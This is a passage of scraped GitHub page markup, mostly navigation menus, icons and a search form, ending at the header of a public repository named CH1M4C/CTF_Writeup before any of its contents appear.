0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div>
Explore
All features
Documentation
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
GitHub Skills
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Blog
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For
Enterprise
Teams
Startups
Education
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
By Solution
CI/CD & Automation
DevOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
DevSecOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Case Studies
Customer Stories
Resources
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4">
<div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div>
<div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div>
Repositories
Topics
Trending
Collections
</div>
Pricing
</nav>
<div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0">
<div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="59544007" data-scoped-search-url="/CH1M4C/CTF_Writeup/search" data-owner-scoped-search-url="/users/CH1M4C/search" data-unscoped-search-url="/search" data-turbo="false" action="/CH1M4C/CTF_Writeup/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="/zuKwXqB0f70YQs+ngJCEmJtJq44gxXvqxP4P0zDcToXwm8tqDymfcDOaU3Hyoy+jSDf7iZ/a+rbmIOFN4AhxQ==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg>
<div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container">
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<span>No suggested jump to results</span>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
</div> </label></form> </div></div>
</div>
<div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div>
Sign up </div> </div> </div> </div></header>
</div>
<div id="start-of-content" class="show-on-focus"></div>
<div id="js-flash-container" data-turbo-replace>
<template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div>
</div> </div></div> </template></div>
<include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment>
<div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" >
<div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace>
<div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;">
<div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> CH1M4C </span> <span>/</span> CTF_Writeup
<span></span><span>Public</span> </div>
</div>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>1</span>
<div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>0</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" 